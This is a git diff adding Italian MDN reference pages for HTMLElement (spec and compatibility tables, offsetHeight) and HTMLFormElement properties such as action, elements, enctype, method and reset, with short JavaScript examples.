+   <td>Aggiunge le seguenti proprietà: <code>offsetParent</code>, <code>offsetTop</code>, <code>offsetLeft</code>, <code>offsetWidth</code>, e <code>offsetHeight</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aggiunge le seguenti proprietà: <code>translate</code>, <code>itemScope</code>, <code>itemType</code>, <code>itemId</code>, <code>itemRef</code>, <code>itemProp</code>, <code>properties</code>, e <code>itemValue</code>.<br>
+    Aggiunti i seguenti metodi: <code>forceSpellcheck()</code>.<br>
+    Spostati gli attributi <code>onXYZ</code> all'interfaccia {{domxref("GlobalEventHandlers")}} e aggiunta la sua ereditarietà.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Aggiunge le seguenti proprietà: <code>dataset</code>, <code>hidden</code>, <code>tabindex</code>, <code>accessKey</code>, <code>accessKeyLabel</code>, <code>draggable</code>, <code>dropzone</code>, <code>contentEditable</code>, <code>isContentEditable</code>, <code>contextMenu</code>, <code>spellcheck</code>, <code>commandType</code>, <code>commandLabel</code>, <code>commandIcon</code>, <code>commandHidden</code>, <code>commandDisabled</code>, <code>commandChecked</code>, <code>style</code>, e tutte le proprietà <code>onXYZ</code>.<br>
+    Spostate le proprietà <code>id</code> e <code>className</code> all'interfaccia {{domxref("Element")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Nessun cambiamento da {{SpecName('DOM2 HTML')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKey", "accessKey")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>17.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}(<a class="external" href="http://trac.webkit.org/changeset/107483">535.10</a>)</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}</td>
+   <td>{{CompatGeckoDesktop("8.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}{{WebkitBug(72715)}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.blur()", "blur()")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.click()", "click()")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}(<a class="external" href="http://trac.webkit.org/changeset/107483">535.24</a>)</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>9.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>11.10</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.focus()", "focus()")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.contentEditable", "contentEditable")}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5.5</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.spellcheck", "spellcheck")}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.forceSpellCheck", "forceSpellCheck()")}} {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>8.0</td>
+   <td>11</td>
+   <td>11.10</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.draggable", "draggable")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dropzone", "dropzone")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>12.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.offsetLeft", "offsetLeft")}}, {{domxref("HTMLElement.offsetTop", "offsetTop")}}, {{domxref("HTMLElement.offsetParent", "offsetParent")}}, {{domxref("HTMLElement.offsetHeight", "offsetHeight")}} and {{domxref("HTMLElement.offsetWidth", "offsetWidth")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.translate", "translate")}} {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.itemScope", "itemScope")}}, {{domxref("HTMLElement.itemType", "itemType")}}, {{domxref("HTMLElement.itemRef", "itemRef")}}, {{domxref("HTMLElement.itemId", "itemId")}}, {{domxref("HTMLElement.itemProp", "itemProp")}}, and {{domxref("HTMLElement.itemValue", "itemValue")}} {{experimental_inline}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.60<br>
+    (Removed in Opera 15)</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.properties", "properties")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.ontouchstart")}}, {{domxref("HTMLElement.ontouchend")}}, {{domxref("HTMLElement.ontouchmove")}}, {{domxref("HTMLElement.ontouchenter")}}, {{domxref("HTMLElement.ontouchleave")}}, and {{domxref("HTMLElement.ontouchcancel")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>
+    <p>{{CompatGeckoMobile("1.0")}}</p>
+   </td>
+   <td rowspan="7">{{CompatUnknown}}</td>
+   <td rowspan="7">{{CompatUnknown}}</td>
+   <td rowspan="7">{{CompatUnknown}}</td>
+   <td rowspan="7">{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKey", "accessKey")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}</td>
+   <td>{{CompatGeckoMobile("8.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.blur()", "blur()")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.click()", "click()")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.focus()", "focus()")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("Element")}}</li>
+</ul>
diff --git a/files/it/web/api/htmlelement/offsetheight/index.html b/files/it/web/api/htmlelement/offsetheight/index.html
new file mode 100644
index 0000000000..46b7232b50
--- /dev/null
+++ b/files/it/web/api/htmlelement/offsetheight/index.html
@@ -0,0 +1,123 @@
+---
+title: HTMLElement.offsetHeight
+slug: Web/API/HTMLElement/offsetHeight
+translation_of: Web/API/HTMLElement/offsetHeight
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>La proprietà <strong><code>HTMLElement.offsetHeight</code></strong> è una proprietà di tipo read-only e rappresenta l'altezza dell'elemento incluso padding verticale e magini, in pixels, come intero.</p>
+
+<p>Di solito, l'<code>offsetHeight</code> di un elemento è una misura che include i bordi dell'elemento, il padding verticale dell'elemento, la scrollbar orizzontale dell'elemento  (se presente , se renderizzata) e l'altezza nel css dell'elemento.</p>
+
+<p>Per l'oggetto body, la misua include la totale altezza lineare invece dell'altezza CSS. Elementi floattati sotto altri contenuti lineari sono ignorati.</p>
+
+<div class="note">
+<p>Questa proprietà arrotonderà il valore ad un intero. Se vi serve un valore decimale usate {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Sintassi</h2>
+
+<pre class="eval">var <em>intElemOffsetHeight</em> = document.getElementById(<em>id_attribute_value</em>).offsetHeight;
+</pre>
+
+<p><em>intElemOffsetHeight</em> è una variabile che associa un intero corrispondente al valore dell'offsetHeight in pixel dell'elemento. La proprietà offsetHeight è di tipo readonly.</p>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<p> </p>
+
+<p>              <img alt="Image:Dimensions-offset.png" class="internal" src="/@api/deki/files/186/=Dimensions-offset.png"></p>
+
+
+<p>L'immagine nell'esempio sopra mosta una scrollbar e un offsetHeigh che si adatta alla finestra. Comunque, elementi non scrollabili potrebbero avere un offsetHeights largo, molto più largo del contenuto visibile. Questi elemnti sono tipicamente contenuti in un elemento scrollabile; di conseguenza questi elementi non scrollabili possono essere invisibili completamente o parzialmente, dipende dal settaggio dello scrollTop del contenitore scrollabile.</p>
+
+<p> </p>
+
+<h2 id="Specification" name="Specification">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetHeight', 'offsetLeft')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes" name="Notes">Note</h3>
+
+<p><code>offsetHeight</code> è una proprietà del DHTML object model la quale era stata introdotta precedentemente da MSIE. Questa si riferisce a volte alla dimensione fisica/grafica di un elemento, o all'altezza del border-box di un elemento.</p>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">Vedi Anche</h2>
+
+<ul>
+ <li>{{domxref("Element.clientHeight")}}</li>
+ <li>{{domxref("Element.scrollHeight")}}</li>
+ <li>{{domxref("HTMLElement.offsetWidth")}}</li>
+ <li><a href="/en-US/docs/Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements" title="en/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN Measuring Element Dimension and Location</a></li>
+</ul>
diff --git a/files/it/web/api/htmlformelement/acceptcharset/index.html b/files/it/web/api/htmlformelement/acceptcharset/index.html
new file mode 100644
index 0000000000..5100a8d7f4
--- /dev/null
+++ b/files/it/web/api/htmlformelement/acceptcharset/index.html
@@ -0,0 +1,22 @@
+---
+title: HTMLFormElement.acceptCharset
+slug: Web/API/HTMLFormElement/acceptCharset
+translation_of: Web/API/HTMLFormElement/acceptCharset
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><b>acceptCharset</b> restituisce una lista delle <a href="it/Codifiche_dei_caratteri">codifiche dei caratteri</a> supportate per un dato elemento <code>form</code>. Questa lista è una stringa e gli elementi possono essere separati da virgole o da spazi.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>stringa</i> = form.acceptCharset;
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">inputs = document.forms["myform"].acceptCharset
+</pre>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-19661795">DOM Level 2 HTML: acceptCharset</a></p>
diff --git a/files/it/web/api/htmlformelement/action/index.html b/files/it/web/api/htmlformelement/action/index.html
new file mode 100644
index 0000000000..8b55910259
--- /dev/null
+++ b/files/it/web/api/htmlformelement/action/index.html
@@ -0,0 +1,30 @@
+---
+title: HTMLFormElement.action
+slug: Web/API/HTMLFormElement/action
+translation_of: Web/API/HTMLFormElement/action
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><b>action</b> legge o imposta l'attributo <code>action</code> dell'elemento <code>FORM</code>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>stringa</i> = form.action
+form.action =
+<i>stringa</i>
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">form.action = "/cgi-bin/publish";
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>L'attributo <code>action</code> di un form è il programma che viene eseguito sul server quando il form viene inviato. Questa proprietà può essere letta o impostata.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-74049184">DOM Level 2 HTML: action</a></p>
+
+<p>{{ languages( { "ja": "ja/DOM/form.action" } ) }}</p>
diff --git a/files/it/web/api/htmlformelement/elements/index.html b/files/it/web/api/htmlformelement/elements/index.html
new file mode 100644
index 0000000000..3ea2a2aa32
--- /dev/null
+++ b/files/it/web/api/htmlformelement/elements/index.html
@@ -0,0 +1,34 @@
+---
+title: HTMLFormElement.elements
+slug: Web/API/HTMLFormElement/elements
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/HTMLFormElement/elements
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p>Restituisce una <code><a class="external" href="http://www.w3.org/TR/2001/WD-DOM-Level-2-HTML-20011025/html.html#ID-75708506">HTMLCollection</a></code> contenente tutti i controlli dell'elemento form a cui si riferisce.</p>
+
+<p>Puoi accedere un elemento della collezione sia usando l'indice che usando l'<a href="it/DOM/element.id">id</a> o il <a href="it/DOM/element.name">name</a>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>nodeList</i> =
+<i>HTMLFormElement</i>.elements
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">var input = document.getElementById("form1").elements;
+var inputByIndex = inputs[2]; //indice
+var inputByName = inputs["login"]; //id oppure name
+</pre>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p>Specifica W3C DOM 2 HTML Specifica <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-76728479">elements</a></p>
diff --git a/files/it/web/api/htmlformelement/enctype/index.html b/files/it/web/api/htmlformelement/enctype/index.html
new file mode 100644
index 0000000000..082db19303
--- /dev/null
+++ b/files/it/web/api/htmlformelement/enctype/index.html
@@ -0,0 +1,28 @@
+---
+title: HTMLFormElement.enctype
+slug: Web/API/HTMLFormElement/enctype
+translation_of: Web/API/HTMLFormElement/enctype
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><b>enctype</b> legge o imposta il tipo di contenuto del form.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>stringa</i> = form.enctype
+form.enctype =
+<i>stringa</i>
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">form.enctype = "application/x-www-form-urlencoded";
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Il tipo di codifica predefinito è "application/x-www-form-urlencoded".</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-84227810">DOM Level 2 HTML: enctype</a></p>
diff --git a/files/it/web/api/htmlformelement/index.html b/files/it/web/api/htmlformelement/index.html
new file mode 100644
index 0000000000..35ef7bcb58
--- /dev/null
+++ b/files/it/web/api/htmlformelement/index.html
@@ -0,0 +1,125 @@
+---
+title: form
+slug: Web/API/HTMLFormElement
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/HTMLFormElement
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="HTML_Form_Element_Interface" name="HTML_Form_Element_Interface">HTML Form Element Interface</h3>
+<p>L'elemento <code>FORM</code> possiede tutte le proprietà e i metodi di qualunque <a href="it/DOM/element">element</a>, e inoltre ha un'interfaccia specializzata: <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-40002357">HTMLFormElement</a>.</p>
+<p>Questa interfaccia fornisce i metodi per creare e modificare gli elementi del <code>FORM</code>. L'esempio seguente mostra come creare un nuovo elemento form, modificare i suoi attributi e inviarlo.</p>
+<pre>// Crea un form
+var f = document.createElement("form");
+
+// Lo aggiungere come ultimo nodo all'interno dell'elemento Body
+document.body.appendChild(f);
+
+// Setta l'attributo action e l'attributo method
+f.action = "/cgi-bin/some.cgi";
+f.method = "POST"
+
+// Invia il form tramite il metodo submit
+f.submit();
+</pre>
+<p>Il seguente esempio di pagina HTML mostra come estrarre informazioni da un form e come settare alcuni dei suoi attributi.</p>
+<pre>&lt;/html&gt;
+&lt;head&gt;
+&lt;title&gt;Esempio di Form&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+  function getFormInfo() {
+    var info;
+
+    // Ricava un riferimento al form usando la collezione di form disponibile in document
+    var f = document.forms["formA"];
+    info = "f.elements: " + f.elements + "\n"
+         + "f.length: " + f.length + "\n"
+         + "f.name: " + f.elements + "\n"
+         + "f.acceptCharset: " + f.acceptCharset + "\n"
+         + "f.action: " + f.action + "\n"
+         + "f.enctype: " + f.enctype + "\n"
+         + "f.encoding: " + f.encoding + "\n"
+         + "f.method: " + f.method + "\n"
+         + "f.target: " + f.target;
+    document.forms["formA"].elements['tex'].value = info;
+  }
+
+  // Un riferimento al form viene passato
+  //  dall'attributo onclick del button usando 'this.form'
+  function setFormInfo(f) {
+    f.method = "GET";
+    f.action = "/cgi-bin/evil_executable.cgi";
+    f.name   = "totally_new";
+  }
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;h1&gt;Form  example&lt;/h1&gt;
+
+&lt;form id="formA"
+ action="/cgi-bin/test" method="POST"&gt;
+ &lt;p&gt;Clicca "Info" per vedere delle info sul form.
+    Cllica set per cambiare i settaggi,quindi di nuovo info per vedere l'effetto&lt;/p&gt;
+ &lt;p&gt;
+  &lt;input type="button" value="info"
+   onclick="getFormInfo();"&gt;
+  &lt;input type="button" value="set"
+   onclick="setFormInfo(this.form);"&gt;
+  &lt;input type="reset" value="reset"&gt;
+  &lt;br&gt;
+  &lt;textarea id="tex" style="height:15em; width:20em"&gt;
+ &lt;/p&gt;
+&lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Propriet.C3.A0" name="Propriet.C3.A0">Proprietà</h3>
+<dl>
+ <dt>
+  <a href="it/DOM/form.elements">form.elements</a></dt>
+ <dd>
+  Restituisce una collezione dei controlli contenuti form corrente.</dd>
+ <dt>
+  <a href="it/DOM/form.length">form.length</a></dt>
+ <dd>
+  Restituisce il numero di controlli contenuti nel form corrente.</dd>
+ <dt>
+  <a href="it/DOM/form.name">form.name</a></dt>
+ <dd>
+  Restituisce una stringa con con il valore dell'attributo name del form corrente.</dd>
+ <dt>
+  <a href="it/DOM/form.acceptCharset">form.acceptCharset</a></dt>
+ <dd>
+  Restituisce una lista dei set di caratteri supportati per il form corrente.</dd>
+ <dt>
+  <a href="it/DOM/form.action">form.action</a></dt>
+ <dd>
+  Restituisce/setta l'URI a cui verranno spediti i dati del form.</dd>
+ <dt>
+  <a href="it/DOM/form.enctype">form.enctype</a></dt>
+ <dd>
+  Restituisce/setta il tipo di contenuto che il form corrente invierà al server.</dd>
+ <dt>
+  <a href="it/DOM/form.method">form.method</a></dt>
+ <dd>
+  Restituisce/setta il metodo con cui inviare le informazioni al server.</dd>
+ <dt>
+  <a href="it/DOM/form.target">form.target</a></dt>
+ <dd>
+  Restituisce/setta il nome del frame in cui rendere la pagina di risposta del server.</dd>
+</dl>
+<h3 id="Metodi" name="Metodi">Metodi</h3>
+<dl>
+ <dt>
+  <a href="it/DOM/form.submit">form.submit</a></dt>
+ <dd>
+  Invia il form.</dd>
+ <dt>
+  <a href="it/DOM/form.reset">form.reset</a></dt>
+ <dd>
+  Riporta il form al suo stato iniziale.</dd>
+</dl>
+<p>{{ languages( { "fr": "fr/DOM/form", "pl": "pl/DOM/form", "en": "en/DOM/form" } ) }}</p>
diff --git a/files/it/web/api/htmlformelement/length/index.html b/files/it/web/api/htmlformelement/length/index.html
new file mode 100644
index 0000000000..34f1e82ef3
--- /dev/null
+++ b/files/it/web/api/htmlformelement/length/index.html
@@ -0,0 +1,26 @@
+---
+title: HTMLFormElement.length
+slug: Web/API/HTMLFormElement/length
+translation_of: Web/API/HTMLFormElement/length
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><b>length</b> restituisce il numero di controlli contenuti dall'elemento <code>FORM</code>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>integer</i> = form.length
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">if (document.getElementById("form1").length &gt; 1) {
+  // vi è più di un controllo
+}
+</pre>
+
+<h4 id="Specification" name="Specification">Specification</h4>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#HTML-HTMLFormElement-length">DOM Level 2: length</a></p>
+
+<p>{{ languages( { "ja": "ja/DOM/form.length" } ) }}</p>
diff --git a/files/it/web/api/htmlformelement/method/index.html b/files/it/web/api/htmlformelement/method/index.html
new file mode 100644
index 0000000000..bffd4f7faf
--- /dev/null
+++ b/files/it/web/api/htmlformelement/method/index.html
@@ -0,0 +1,28 @@
+---
+title: HTMLFormElement.method
+slug: Web/API/HTMLFormElement/method
+translation_of: Web/API/HTMLFormElement/method
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><b>method</b> legge o imposta il metodo HTTP utilizzato per l'invio del form.</p>
+
+<p>
+ </p><h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<p></p>
+
+<pre class="eval"><i>stringa</i> = form.method
+form.method =
+<i>stringa</i>
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">document.forms["myform"].method = "POST";
+</pre>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-82545539">DOM Level 2 HTML: method</a></p>
+
+<p>{{ languages( { "ja": "ja/DOM/form.method" } ) }}</p>
diff --git a/files/it/web/api/htmlformelement/name/index.html b/files/it/web/api/htmlformelement/name/index.html
new file mode 100644
index 0000000000..1e6c741329
--- /dev/null
+++ b/files/it/web/api/htmlformelement/name/index.html
@@ -0,0 +1,35 @@
+---
+title: HTMLFormElement.name
+slug: Web/API/HTMLFormElement/name
+translation_of: Web/API/HTMLFormElement/name
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><code>name</code> restituisce il nome dell'elemento <code>FORM</code> corrente come stringa.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>stringa</i> = form.name
+form.name =
+<i>stringa</i>
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">form1 = document.getElementById("form1").name;
+if (form1 != document.form.form1) {
+   // il browser non supporta questo tipo di riferimenti
+}
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Si noti che questa proprietà può essere letta o impostata, il chè significa che è possibile modificare o impostare il nome del form.</p>
+
+<p>Se l'elemento <code>FORM</code> contiene un elemento chiamato "name", questo elemento coprirà la proprietà <code>form.name</code>, quindi non sarà possibile utilizzarla.</p>
+
+<p>Internet Explorer (IE) non permette di modificare l'attributo <code>name</code> di un elemento che è stato creato con <code>createElement()</code> utilizzando la proprietà <code>name</code>.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-22051454">DOM Level 2 HTML: name</a></p>
diff --git a/files/it/web/api/htmlformelement/reset/index.html b/files/it/web/api/htmlformelement/reset/index.html
new file mode 100644
index 0000000000..0d373e6938
--- /dev/null
+++ b/files/it/web/api/htmlformelement/reset/index.html
@@ -0,0 +1,28 @@
+---
+title: HTMLFormElement.reset
+slug: Web/API/HTMLFormElement/reset
+translation_of: Web/API/HTMLFormElement/reset
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><code>reset</code> resetta il form al suo stato iniziale.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>HTMLForm</i>.reset()
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">document.forms["mioForm"].reset();
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
